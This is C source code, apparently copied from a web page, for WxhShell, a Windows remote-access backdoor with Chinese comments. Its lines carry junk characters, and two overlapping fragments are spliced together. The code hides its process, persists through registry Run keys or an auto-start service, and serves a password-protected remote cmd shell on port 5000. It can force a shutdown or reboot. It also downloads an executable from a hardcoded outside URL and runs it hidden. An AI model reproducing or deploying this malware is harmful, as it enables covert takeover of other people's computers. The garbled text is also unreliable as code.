  case 'd': { ,A5}HRW%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i#aKW'  
    if(Boot(SHUTDOWN)) R=3|(R+kA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +K s3  
    else { "rrw~  
    closesocket(wsh); ]9-iEQ  
    ExitThread(0); PXG@]$~3  
    } bcUSjG>  
    break; r>}z|I'  
    } 5,pEJ>dDD3  
  // 获取shell  nvCp-Z$  
  case 's': { EiDnUL(W7h  
    CmdShell(wsh); Ng2Z7k  
    closesocket(wsh); ,9M2'6=  
    ExitThread(0); :Q,~Nw>  
    break; CTe!jMZ=  
  } W!"Oho'  
  // 退出 aCJ-T8?'  
  case 'x': { }; R2M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WL|<xNL  
    CloseIt(wsh); ,vo]WIQ\:  
    break; bk1.H@8  
    } [Op^l%BC  
  // 离开 KF1Zy;  
  case 'q': { } lXor~_i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uz I-1@`  
    closesocket(wsh); XgyLlp;,O  
    WSACleanup(); 4:Oq(e_(  
    exit(1); l_4 ^TYF  
    break; Cd ]g+R}j  
        } f1S% p  
  } HRyhq ;C  
  } "sIww  
wwet90_g  
  // 提示信息 gi>W&6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ">M&/}4  
} 3ZN\F  
  } ]9~Il#  
v0TbQ  
  return; >oN Wf  
} /6F\]JwU  
7[mP@ {  
// shell模块句柄 /bn$@Cy@  
int CmdShell(SOCKET sock) Xy./1`X  
{ i&p6UU  
STARTUPINFO si; !xBJJ/K+|  
ZeroMemory(&si,sizeof(si)); )G;H f?M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; As5-@l`@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;<GK{8  
PROCESS_INFORMATION ProcessInfo; {>PEl; ,-  
char cmdline[]="cmd"; @FZ_[CYg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~N/a\%`  
  return 0; *&I _fAh]  
} Vc6 >i|"-O  
+* F e   
// 自身启动模式 JIjo^zOXsc  
int StartFromService(void) ?~IdPSY  
{ cv1PiIl  
typedef struct 4c qf=  
{ S&.xgBR  
  DWORD ExitStatus; mfF `K2R  
  DWORD PebBaseAddress; XH(-anU"!P  
  DWORD AffinityMask; 7z$bCO L=S  
  DWORD BasePriority; *FC|v0D  
  ULONG UniqueProcessId; Q"uK6ANp'  
  ULONG InheritedFromUniqueProcessId; H}lz_#Z  
}   PROCESS_BASIC_INFORMATION; Tm9sQ7Oj(  
GIT"J}b}  
PROCNTQSIP NtQueryInformationProcess; HO_(it \  
=c$x xEDD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "Bwmq9Jq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B'mUDW8\D  
:>0,MO.^~K  
  HANDLE             hProcess; MBLDx sZ-  
  PROCESS_BASIC_INFORMATION pbi; vC^{,?@  
a\ ~118 !  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H+5+;`;  
  if(NULL == hInst ) return 0; Q1{9>NI  
FA\U4l-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); SkC.A ?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b#"&]s-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^7*7^<  
MslgQmlM  
  if (!NtQueryInformationProcess) return 0; Q, "8Ty  
,L.V>Ae  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _"OE}$C  
  if(!hProcess) return 0; DajN1}]  
-/0aGqY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n(|n=P:o  
xG(iSuz  
  CloseHandle(hProcess); ycwkF$7  
s&'FaqE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); | lZJt  
if(hProcess==NULL) return 0; 00s)=A_  
XPZ8*8JL  
HMODULE hMod; @H3x51PT(m  
char procName[255]; kwqY~@W  
unsigned long cbNeeded; ADVS}d!;]  
Jf0i$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |:Maa6(W  
[Y?Y@x"MZ  
  CloseHandle(hProcess); x]`@%8Sm  
{]Cn@.TPD  
if(strstr(procName,"services")) return 1; // 以服务启动 '\+"3!$  
~R~.D  
  return 0; // 注册表启动 H3`.Y$z  
} ~'0ZW<X.  
?E(X>tH  
// 主模块 !f&hVLs0  
int StartWxhshell(LPSTR lpCmdLine) 1c429&-  
{ WRAL/  
  SOCKET wsl; _%Ua8bR$  
BOOL val=TRUE; >T\@j\X4  
  int port=0; IbJl/N%o  
  struct sockaddr_in door; Jw&Fox7p  
Ziub%C[oV  
  if(wscfg.ws_autoins) Install(); (fr=N5   
{ o5^nd  
port=atoi(lpCmdLine); I}5e{jBB  
](8F]J ,  
if(port<=0) port=wscfg.ws_port; ~(yW#'G  
L|:CQ  
  WSADATA data; Q$ Dx:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E/wxX#]\  
FC6~V6R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >Yk|(!v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?Yf v^DQ5  
  door.sin_family = AF_INET; "frioi`a2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -^(KGu&L&u  
  door.sin_port = htons(port); ='=4tj=z  
~tV7yY|zr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o)n)Z~  
closesocket(wsl); bd-iog(  
return 1; O"df5x9@  
} rnQ_0d  
-Ah&|!/  
  if(listen(wsl,2) == INVALID_SOCKET) { 2eeFaFif  
closesocket(wsl); aI ;$N|]u  
return 1; QtXiUx^ k<  
} z$}9f*W}B  
  Wxhshell(wsl); zK1]o-wSAT  
  WSACleanup(); I1l^0@J   
}&v-<qC^  
return 0; HwZl"!;Mry  
HC1<zW[  
} ' (XB|5  
*]h"J]  
// 以NT服务方式启动 2<p@G#(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :dRC$?f4  
{ `Mbs6AJ  
DWORD   status = 0; ($/l_F  
  DWORD   specificError = 0xfffffff; |HYST`  
%6rSLBw3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V9qA'k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Oq,@{V@)9k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U{bv|vF  
  serviceStatus.dwWin32ExitCode     = 0; IbL'Z   
  serviceStatus.dwServiceSpecificExitCode = 0; N-&ZaK  
  serviceStatus.dwCheckPoint       = 0; +:=FcsY  
  serviceStatus.dwWaitHint       = 0; a~a:mM > p  
/\uopa  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'UxI-L t  
  if (hServiceStatusHandle==0) return; %eW7AO>  
jb,a>9 ]p  
status = GetLastError(); 4b;*:C4?  
  if (status!=NO_ERROR) ]h' 38W  
{ L-rV+?i`6f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; izGU&VeB  
    serviceStatus.dwCheckPoint       = 0; }$L1A   
    serviceStatus.dwWaitHint       = 0; ;~djbo0,X  
    serviceStatus.dwWin32ExitCode     = status; Uf ]$I`T#  
    serviceStatus.dwServiceSpecificExitCode = specificError; nTD%i~t~o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3!/J!X3L  
    return; $d])>4eQ  
  } a#%*H  
ts@Z5Yw*!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; VS ;y  
  serviceStatus.dwCheckPoint       = 0; +!px+*)bW  
  serviceStatus.dwWaitHint       = 0; |4P8N{ L>O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rl~Rbi  
} +r//8&  
67&Q<`V1*q  
// 处理NT服务事件,比如:启动、停止 DNqV]N_W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3D!7,@&>3  
{ GD d'{qE6  
switch(fdwControl) XOQ0(e6  
{ z;2& d<h  
case SERVICE_CONTROL_STOP: ?V+\E2  
  serviceStatus.dwWin32ExitCode = 0; pY3/AO=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .d[ ^&<^  
  serviceStatus.dwCheckPoint   = 0; bp}97ZQ  
  serviceStatus.dwWaitHint     = 0; `Npo|.?=  
  { kdlmj[=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &qSf ~7/  
  } 6SE^+@jR  
  return; =54D#,[B  
case SERVICE_CONTROL_PAUSE: Lb<IEy77\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x|Pz24yP9  
  break; ub9[!}r't  
case SERVICE_CONTROL_CONTINUE: "DGap*=J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C;/ONF   
  break; Qt{V&Z7  
case SERVICE_CONTROL_INTERROGATE: `AvK8Wh<+  
  break; 5 -|7I7(G$  
}; C9MK3vtD.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qjnh;uBO  
} 9I [:#,zdf  
50Gu~No6  
// 标准应用程序主函数 !\d~9H%`B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^>!&]@  
{ *S}CiwW>/  
)m8Gbkj<  
// 获取操作系统版本 zDtC]y'  
OsIsNt=GetOsVer(); >R6mI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zA+0jhuG  
qUmSB"#Z  
  // 从命令行安装 k:j_:C&.  
  if(strpbrk(lpCmdLine,"iI")) Install(); MaD|X_g  
=-/'$7R,  
  // 下载执行文件 {dxl8~/I  
if(wscfg.ws_downexe) { H Q[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ml^=y~J[  
  WinExec(wscfg.ws_filenam,SW_HIDE); :=+YZ|&j  
} a3w6&e`  
Fq <JxamR  
if(!OsIsNt) { I~YV&12  
// 如果时win9x,隐藏进程并且设置为注册表启动 `uk=2k}&m  
HideProc(); M=ag\1S&ZF  
StartWxhshell(lpCmdLine);  "$J5cco  
} 8d8jUPFQ  
else _=`DzudE  
  if(StartFromService()) W.cc!8  
  // 以服务方式启动 $8&Y(`  
  StartServiceCtrlDispatcher(DispatchTable); NvTK7? v  
else 8rlf9m  
  // 普通方式启动 lc~c=17  
  StartWxhshell(lpCmdLine); Ja 5od  
g@s`PBF7`  
return 0; ,YBO}l  
} OvwoU=u  
)CE]s)6+2  
 !O`j  
<& +jl($"  
=========================================== -~xQ@+./  
ia; osqW  
L >"O[@  
YqWNp  
09P2<oFLn  
u9,dSR  
" Hhk`yX c_  
s?S e]?i  
#include <stdio.h> F @Wi[K  
#include <string.h> <o3I<ci6  
#include <windows.h> eAI|zk6  
#include <winsock2.h> N TDmOS\,  
#include <winsvc.h> {: _*P TVk  
#include <urlmon.h> =?+w5oI0  
T95FoA  
#pragma comment (lib, "Ws2_32.lib") 9ei'oZ  
#pragma comment (lib, "urlmon.lib") \h s7>5O^K  
-}sMOy`  
#define MAX_USER   100 // 最大客户端连接数 XY9%aT*  
#define BUF_SOCK   200 // sock buffer |&-*&)iD|w  
#define KEY_BUFF   255 // 输入 buffer eY?OUS  
ZBx,'ph}4  
#define REBOOT     0   // 重启 3_boEYl0  
#define SHUTDOWN   1   // 关机 Y?0x/2<  
JBOU$A ~  
#define DEF_PORT   5000 // 监听端口 JzCkVF$  
ZrNH:Z:5  
#define REG_LEN     16   // 注册表键长度 3Rsrb  
#define SVC_LEN     80   // NT服务名长度 $6 Hf[(/e  
nm%qm  
// 从dll定义API m1]/8{EC7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 62.Cq!~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G.@K#a9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -6s]7#IC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @gf <%>  
Gl3g.`X{$@  
// wxhshell配置信息 0LzS #J+  
struct WSCFG { y,1U]1TP  
  int ws_port;         // 监听端口 ,|?#+O{  
  char ws_passstr[REG_LEN]; // 口令 x5smJ__/  
  int ws_autoins;       // 安装标记, 1=yes 0=no *KiY+_8>  
  char ws_regname[REG_LEN]; // 注册表键名 >j ].`T  
  char ws_svcname[REG_LEN]; // 服务名 s?1Aj<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qM 1ZCt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 aL;zN%Tw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 + `'wY?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no CK4#ZOiaa  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B%tj-h(a  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R8!~>$#C6)  
edpRx"_  
}; 3xP<J)S0  
[h' 22 W  
// default Wxhshell configuration b">"NvlB  
struct WSCFG wscfg={DEF_PORT, 0;=]MEk?  
    "xuhuanlingzhe", vlDA/( &  
    1, O tQ]\:p7  
    "Wxhshell", ~p{YuW[e  
    "Wxhshell", ]{{%d4  
            "WxhShell Service", .}+3A~  
    "Wrsky Windows CmdShell Service", n[y^S3}%;  
    "Please Input Your Password: ", S{]3e-?  
  1, =x(k)RTDu  
  "http://www.wrsky.com/wxhshell.exe", ;$$w`LyP  
  "Wxhshell.exe" ds+2z=!!e  
    }; }z\t}lven  
' Gx\  
// 消息定义模块 *M:p[.=1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /RhM6N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jY/(kA]}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0v1~#KCm  
char *msg_ws_ext="\n\rExit."; yU7XX+cB7  
char *msg_ws_end="\n\rQuit."; ND=JpVkvZ?  
char *msg_ws_boot="\n\rReboot..."; 'zMmJl}\vd  
char *msg_ws_poff="\n\rShutdown..."; F/tRyq`D  
char *msg_ws_down="\n\rSave to "; Wie0r@5E  
CV{ZoY  
char *msg_ws_err="\n\rErr!"; :U'n0\  
char *msg_ws_ok="\n\rOK!"; VB8eGMo  
&\6(iL  
char ExeFile[MAX_PATH]; k`[>B k%b  
int nUser = 0; P$AHw;n[R  
HANDLE handles[MAX_USER]; }waZGJLN  
int OsIsNt; 7OXRR)]V  
=*+f2  
SERVICE_STATUS       serviceStatus; Iw#[K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; AOL=;z9c#  
PV=sqLM~  
// 函数声明 &n83>Q  
int Install(void); RCK*?\m5  
int Uninstall(void); )M[FPJP}  
int DownloadFile(char *sURL, SOCKET wsh); 9T`YHA'g  
int Boot(int flag); zI(uexxPqd  
void HideProc(void); Ly v"2P  
int GetOsVer(void); G$Fo*;Fl  
int Wxhshell(SOCKET wsl); Jzy:^PObT  
void TalkWithClient(void *cs); $SFreyI;Uf  
int CmdShell(SOCKET sock); #zSNDv`  
int StartFromService(void); h.- o$+Sa  
int StartWxhshell(LPSTR lpCmdLine); =bvLMpa  
qf [J-"o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vt(n: Xk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PT&qys 2k  
{ynI]Wj`L  
// 数据结构和表定义 v6x jLP;O  
SERVICE_TABLE_ENTRY DispatchTable[] = ~\u>jel  
{ Z~|%asjFE  
{wscfg.ws_svcname, NTServiceMain}, ~WB-WI\  
{NULL, NULL} O0pXHXSAL  
}; *8%uXkMm  
iQCs 8hIR  
// 自我安装  _qt  
int Install(void) s6 K~I  
{ v Oo^H  
  char svExeFile[MAX_PATH]; m,w^,)  
  HKEY key; d] E.F64{  
  strcpy(svExeFile,ExeFile); 76c:* bZ  
S!JLy&@  
// 如果是win9x系统,修改注册表设为自启动 +f_3JL$  
if(!OsIsNt) { V{qR/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NcSi%]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .)FFl  
  RegCloseKey(key); "Nq5FcS9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vsI|HxpyC,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4Xn-L&0z  
  RegCloseKey(key); =1O;,8`  
  return 0; ;1TQr3w  
    } O4a~(*f  
  } uBM%E OE  
} 4QNwu7TeR  
else { QNj6ETB-d  
sN1I+X  
// 如果是NT以上系统,安装为系统服务 poi39B/Vt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {;JFoe+  
if (schSCManager!=0) *tDxwD7  
{ 8D^ iQBA  
  SC_HANDLE schService = CreateService |hu9)0 P  
  ( F22]4DLHO  
  schSCManager, {qSYe!`  
  wscfg.ws_svcname,  {qH+S/  
  wscfg.ws_svcdisp, A_J!VXq  
  SERVICE_ALL_ACCESS, Nlm3RxSn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }:b) =fs  
  SERVICE_AUTO_START, i^}DIx{  
  SERVICE_ERROR_NORMAL, :pP l|"  
  svExeFile, kH62#[J)yM  
  NULL, 86Xf6Ea  
  NULL, P2U[PO  
  NULL, ?V)M!  
  NULL, dda*gq/p  
  NULL yfA h=  
  ); h61BIc@>  
  if (schService!=0) U owbk:  
  { GM@0$  
  CloseServiceHandle(schService); ;|Rrtf9  
  CloseServiceHandle(schSCManager); ?SoRi</1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hBW,J$B  
  strcat(svExeFile,wscfg.ws_svcname); p;2NO&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { emS7q|^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r$!  
  RegCloseKey(key); re@OPiXa v  
  return 0; "/\- ?YJjw  
    } Novn#0a  
  } QWwEfL  
  CloseServiceHandle(schSCManager); m&6)Vt  
} P;p20+  
} TaTw,K|/  
O-<nL B!Wf  
return 1; lhFv2.qR  
} ~NwX,-ri  
)TkXdA?.  
// 自我卸载 82=>I*0Q  
int Uninstall(void) mH4Jl1S&  
{ yd`f<Hr<m  
  HKEY key; 'c/Z W  
{,o =K4CD  
if(!OsIsNt) { QPz3IK%   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t^<ki?*  
  RegDeleteValue(key,wscfg.ws_regname); hr GfA  
  RegCloseKey(key); (#r>v h(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9J f.Ls  
  RegDeleteValue(key,wscfg.ws_regname); <\5E{/7Tl  
  RegCloseKey(key); "3uPK$  
  return 0; SBG.t:  
  } Lq5Eu$;r  
} zT _[pa)O`  
} 77zDHq=  
else { )Yw m_f-N  
X>s'_F?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ! d" i  
if (schSCManager!=0) :*E#w"$,j  
{ koOp:7r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kQ $.g<  
  if (schService!=0) VrZ6m  
  { ?C|b>wM/  
  if(DeleteService(schService)!=0) { ?h|w7/9  
  CloseServiceHandle(schService); X&bnyo P  
  CloseServiceHandle(schSCManager); N51RBA  
  return 0; 3 *[YM7y  
  } 7D)i]68E  
  CloseServiceHandle(schService); mMtX:  
  } B pl(s+  
  CloseServiceHandle(schSCManager); (n~GKcA  
} Hd0?}w\  
} A>Oi9%OY:  
;{Su:Ixg  
return 1; dW2Lvnh!>/  
} dIRSgJ`  
xrC b29{  
// 从指定url下载文件 H83/X,"!w  
int DownloadFile(char *sURL, SOCKET wsh) ){,v&[  
{ =jW= Z$3q  
  HRESULT hr; Bis'59?U_  
char seps[]= "/"; `]l*H3+hg  
char *token; R"k}wRnxY  
char *file; 81 /t)Cp  
char myURL[MAX_PATH]; -JB~yO?0  
char myFILE[MAX_PATH]; a?X{k|;!7u  
M}b[;/~  
strcpy(myURL,sURL); Zjkrne{  
  token=strtok(myURL,seps); @G>Q(a*,  
  while(token!=NULL) 'hH3d"a^=  
  { 9..! g:  
    file=token; *Z=:?4u  
  token=strtok(NULL,seps); v`KYhqTUl  
  } \>GHc}  
p7d[)* L>C  
GetCurrentDirectory(MAX_PATH,myFILE); *^ -~J/  
strcat(myFILE, "\\"); >$iQDVh!  
strcat(myFILE, file); j69 2M.A  
  send(wsh,myFILE,strlen(myFILE),0); xr'gi(.o  
send(wsh,"...",3,0); j5qrM_Chg  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S2EeC&-AR  
  if(hr==S_OK) ojQjx|Q}  
return 0; >`!Lh`n7_  
else (}NKW  
return 1; r1QLSD]i6  
j @+QwZL|  
} )]a{cczL"  
sT|FgB  
// 系统电源模块 #99fFs`w  
int Boot(int flag) d%='W|i\p&  
{ NT<> LWo  
  HANDLE hToken; is [p7-  
  TOKEN_PRIVILEGES tkp; A5LTgGzaW  
g4 G?hv`R  
  if(OsIsNt) { C Nt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Xeo2 < @[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5t&;>-A'?'  
    tkp.PrivilegeCount = 1; l^*'W(%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gx)!0n;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r @ IyK%  
if(flag==REBOOT) { &>&UqWL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D 4fHNk)kZ  
  return 0; 8KrqJN0\  
} ekx~svcC&A  
else { \9}RAr#2]N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i[d@qp!H=  
  return 0; @mB*fl?-  
} Ps!~miN|>  
  } eL7\})!W  
  else { +Tug.[A  
if(flag==REBOOT) { pN ^^U[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pAd 8-a  
  return 0; Xitsb f=Gg  
} M@b:~mI[sw  
else { J$X{4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {"x8 q  
  return 0; K~B@8az  
} I"<ACM  
} -*I Dzm  
;j]-;wg-;  
return 1; & NO:S  
} _:0  
v0}R]h~>\H  
// win9x进程隐藏模块 ui\yY3?  
void HideProc(void) -'iV-]<  
{ - P$mN6h  
<+wbnnK  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Dy[_Ix/Y,  
  if ( hKernel != NULL ) (dh{Gk4=+  
  { {!`0i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vdLBf+Zi  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); CtO`t5  
    FreeLibrary(hKernel); Rt^~db  
  } @1UC9}>  
~Kr_[X:d5  
return; Nhnw'9  
} );zLy?n  
hkhk,bhI  
// 获取操作系统版本 .7|kxJq  
int GetOsVer(void) #o]/&T=N=  
{ Ur/+nL{  
  OSVERSIONINFO winfo;  @{|vW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =83FCq"  
  GetVersionEx(&winfo); 2# y!(D8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V"T48~Ue  
  return 1; I#m0n%-[  
  else  XAb!hc   
  return 0; >)sB# <e  
} TzJp3  
pS vqGJU3  
// 客户端句柄模块 vl{G;[6  
int Wxhshell(SOCKET wsl) ?!4xtOA  
{ V#Hg+\{d  
  SOCKET wsh; d 1 8>0R  
  struct sockaddr_in client; ?Thh7#7LM  
  DWORD myID; LR5X=&k  
B?c n5  
  while(nUser<MAX_USER) $ MN1:ih  
{ &r)i6{w81  
  int nSize=sizeof(client); N^{"k,vB-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kDz!v?Z2+B  
  if(wsh==INVALID_SOCKET) return 1; i^2yq&uT(  
Gidh7x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !BocF<UE  
if(handles[nUser]==0) sfv{z!mo  
  closesocket(wsh); <ETR6r  
else d0Jaa1b~O  
  nUser++; SGuLL+|W#8  
  } *C (/ 2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gW[(gf.oo  
k{?Pgf27  
  return 0;  9z9EK'g  
} EO<{Bj=2  
NZ}DbA+g;|  
// 关闭 socket = %O@%v  
void CloseIt(SOCKET wsh) hd@ >p.  
{ BO3#*J5S\  
closesocket(wsh); |V 3AA   
nUser--; {g%F 3-  
ExitThread(0); Dp5hr8bT  
} bP4<q?FKcN  
ws tH&^  
// 客户端请求句柄 O$2= Z  
void TalkWithClient(void *cs) ]CFh0N|(L  
{ nbVlP  
b xU13ESv  
  SOCKET wsh=(SOCKET)cs; PW[NW-S`c  
  char pwd[SVC_LEN]; `H_.<``>  
  char cmd[KEY_BUFF]; P2q'P&  
char chr[1]; `pHlGbrW  
int i,j; nMniHB'  
uEK9  
  while (nUser < MAX_USER) { eq|G\XJ  
}3"FQ/6C  
if(wscfg.ws_passstr) {  o IUjd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bR6g^Yf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Zi0B$3iOb  
  //ZeroMemory(pwd,KEY_BUFF); :KJG3j?   
      i=0; S-M| 6fv  
  while(i<SVC_LEN) { |m^qA](M  
80p?qe  
  // 设置超时 C1/<t)^  
  fd_set FdRead; y}'c)u  
  struct timeval TimeOut; %,l+?fF  
  FD_ZERO(&FdRead); eX;Tufe*(Q  
  FD_SET(wsh,&FdRead); px!TRb f  
  TimeOut.tv_sec=8; j"8f,er  
  TimeOut.tv_usec=0; @dy<=bh~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _* xjG \!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4z_>CiA  
"I)*W8wTn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dKOW5\H'  
  pwd=chr[0]; ^^ Q'AE  
  if(chr[0]==0xd || chr[0]==0xa) { \Kx@?,  
  pwd=0; &I&:  
  break; Ac0^`  
  } 9rB,7%@EL  
  i++; DP(JsZ}  
    } !L+4YA  
Z/|oCwR  
  // 如果是非法用户,关闭 socket M!{;:m28X!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O3?3XB> <  
} hU:M]O0uw  
[@l:C\2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \Bg;^6U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ),G?f {`!  
5pOb;ry")`  
while(1) { #s'UA!)  
0I8w'/s_g9  
  ZeroMemory(cmd,KEY_BUFF); pwiXA{  
=Me94w>G3X  
      // 自动支持客户端 telnet标准   V/=NIeSE  
  j=0; {Z529Ns  
  while(j<KEY_BUFF) { :GXD-6}^|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (BB&ZUdyv  
  cmd[j]=chr[0]; KxEy N(n  
  if(chr[0]==0xa || chr[0]==0xd) { S(K}.C1x  
  cmd[j]=0; B=>:w%<Ii  
  break; <.DFa/G   
  } kl0!*j  
  j++; ;3nR_6\  
    } q'07  
)zFPf]gz  
  // 下载文件 &8l"Dl  
  if(strstr(cmd,"http://")) { n/ \{}9   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,qx;kJJ  
  if(DownloadFile(cmd,wsh)) B,@<60u  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m+f?+c6  
  else M![aty@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (QO8_  
  } cJ6n@\  
  else { #HMJBQ4v#  
F,t ,Ja  
